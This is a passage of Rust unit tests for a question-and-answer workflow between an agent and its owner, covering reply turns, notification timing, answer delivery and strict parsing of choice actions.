3569            .to_string();
3570        assert!(b.contains("already answered"), "{b}");
3571
3572        let mut abandoned = choice_question();
3573        abandoned.abandon("timed out");
3574        let c = abandoned.say("hello?").unwrap_err().to_string();
3575        assert!(c.contains("abandoned"), "{c}");
3576
3577        let mut open = choice_question();
3578        let d = open.say("   ").unwrap_err().to_string();
3579        assert!(d.contains("empty"), "{d}");
3580        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3581        assert!(e.contains("empty"), "{e}");
3582        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3583    }
3584
3585    #[test]
3586    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3587        let mut q = choice_question();
3588        q.say("SQLite or Redis, but what about disk space?")
3589            .unwrap();
3590        assert!(q.waiting_on_agent());
3591
3592        q.reply(
3593            "SQLite: it is one file, no server to run.",
3594            vec!["SQLite".to_owned()],
3595        )
3596        .unwrap();
3597
3598        assert_eq!(q.choices, ["SQLite"]);
3599        assert!(
3600            !q.waiting_on_agent(),
3601            "the agent spoke, so the owner is the one being waited on now"
3602        );
3603        assert_eq!(q.thread.len(), 2);
3604        assert_eq!(q.thread[1].who, Who::Agent);
3605
3606        // The new choice set is what a subsequent answer is checked against.
3607        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3608        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3609        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3610    }
3611
3612    #[test]
3613    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3614        let mut fresh = choice_question();
3615        assert!(
3616            fresh.should_notify(Timestamp::now()),
3617            "nobody has been notified yet, so the first ask always pages"
3618        );
3619
3620        fresh.say("why not Postgres?").unwrap();
3621        let just_said = fresh.thread[0].at;
3622        assert!(
3623            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3624            "still on the screen a minute later; no need to page again"
3625        );
3626        assert!(
3627            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3628            "exactly the window: `>` means this side stays quiet"
3629        );
3630        assert!(
3631            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3632            "past the window: they may have walked away"
3633        );
3634    }
3635
3636    #[test]
3637    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3638        let (_dir, s) = store();
3639        let mut q = choice_question();
3640        s.put(&mut q).unwrap();
3641        q.say("why not Postgres?").unwrap();
3642        s.put(&mut q).unwrap();
3643        q.reply("no server to run", vec!["SQLite".to_owned()])
3644            .unwrap();
3645        s.put(&mut q).unwrap();
3646
3647        assert_eq!(
3648            s.count_open(),
3649            1,
3650            "one question that talked twice is still one open question"
3651        );
3652        assert_eq!(s.open_for(&q.run).len(), 1);
3653    }
3654
3655    #[tokio::test]
3656    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3657        let (dir, s) = store();
3658        let mut q = choice_question();
3659        let id = q.id.clone();
3660        let writer = Questions::at(dir.path().join("questions"));
3661        let handle = tokio::spawn(async move {
3662            tokio::time::sleep(Duration::from_millis(30)).await;
3663            let mut fresh = writer.get(&id).expect("the question was filed first");
3664            fresh.say("why not Postgres?").unwrap();
3665            writer.put(&mut fresh).unwrap();
3666        });
3667
3668        let got = wait_for_owner(
3669            &mut q,
3670            &s,
3671            &quiet(),
3672            Duration::from_secs(5),
3673            Duration::from_millis(10),
3674        )
3675        .await
3676        .unwrap();
3677
3678        handle.await.unwrap();
3679        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3680        assert_eq!(
3681            q.status,
3682            QuestionStatus::Open,
3683            "talking back is not a decision; the question stays open"
3684        );
3685        assert!(q.answer.is_none());
3686    }
3687
3688    #[test]
3689    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3690        let mut q = choice_question();
3691        q.say("A").unwrap();
3692        q.delivered_turns = q.thread.len();
3693        q.say("B").unwrap();
3694        q.reply("about A", vec![]).unwrap();
3695        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3696        q.delivered_turns = q.thread.len();
3697        assert_eq!(q.unread_from_owner(), None);
3698    }
3699
3700    #[test]
3701    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3702        let (_d, s) = store();
3703        let mut q = choice_question();
3704        s.put(&mut q).unwrap();
3705        q.say("first").unwrap();
3706        q.say("second").unwrap();
3707        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3708        s.put(&mut q).unwrap();
3709        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3710        let mut out = Vec::new();
3711        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3712        let shown = String::from_utf8(out).unwrap();
3713        let (a, b, c) = (
3714            shown.find("first").unwrap(),
3715            shown.find("second").unwrap(),
3716            shown.find("SQLite").unwrap(),
3717        );
3718        assert!(a < b && b < c, "{shown}");
3719        assert_eq!(q.delivered_turns, q.thread.len());
3720        assert!(q.answer_delivered);
3721    }
3722
3723    #[test]
3724    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3725        let mut q = choice_question();
3726        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3727        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3728        let mut q = choice_question();
3729        q.say("old").unwrap();
3730        q.delivered_turns = q.thread.len();
3731        q.say("new").unwrap();
3732        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3733        let shown = answer_for_agent(&q, "SQLite");
3734        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3735    }
3736
3737    #[test]
3738    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3739        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3740        let ok = parse_actions(
3741            &[
3742                "resume で続行する=resume".to_owned(),
3743                "wait=done".to_owned(),
3744            ],
3745            &choices,
3746            "run-1",
3747        )
3748        .unwrap();
3749        assert_eq!(
3750            ok["resume で続行する"],
3751            ChoiceAction::Resume {
3752                run: "run-1".into()
3753            }
3754        );
3755        assert_eq!(ok["wait"], ChoiceAction::Done);
3756
3757        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3758        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3759        assert_eq!(
3760            ChoiceAction::parse("x=requeue", "").unwrap().1,
3761            ChoiceAction::Requeue
3762        );
3763
3764        for bad in [
3765            "no-equals",
3766            "=done",
3767            "x=resume",
3768            "x=resume:",
3769            "x=explode",
3770            "x=done:1",
3771        ] {
3772            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3773        }
3774        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3775        assert!(
3776            parse_actions(
3777                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3778                &choices,
3779                ""
3780            )
3781            .is_err()
3782        );
3783    }
3784
3785    #[test]
3786    fn only_a_chosen_label_with_an_action_is_actionable() {
3787        let mut q = choice_question();
3788        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3789        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3790        assert!(q.chosen_action().is_none(), "unanswered");
3791        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3792        assert!(
3793            q.chosen_action().is_none(),
3794            "a label that merely reads like an action does nothing"
3795        );
3796
3797        let mut q2 = choice_question();
3798        q2.choices = vec!["SQLite".to_owned()];
3799        q2.actions
3800            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3801        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3802        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3803    }
3804
3805    #[test]
3806    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3807        let mut q = choice_question();
3808        q.choices = vec!["A".to_owned(), "B".to_owned()];
3809        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3810        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3811        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3812        assert_eq!(q.actions.len(), 1);
3813        assert!(q.actions.contains_key("B"));
3814
3815        let mut v = serde_json::to_value(&q).unwrap();
3816        v.as_object_mut().unwrap().remove("actions");
3817        let old: Question = serde_json::from_value(v).unwrap();
3818        assert!(old.actions.is_empty());
3819    }
3820}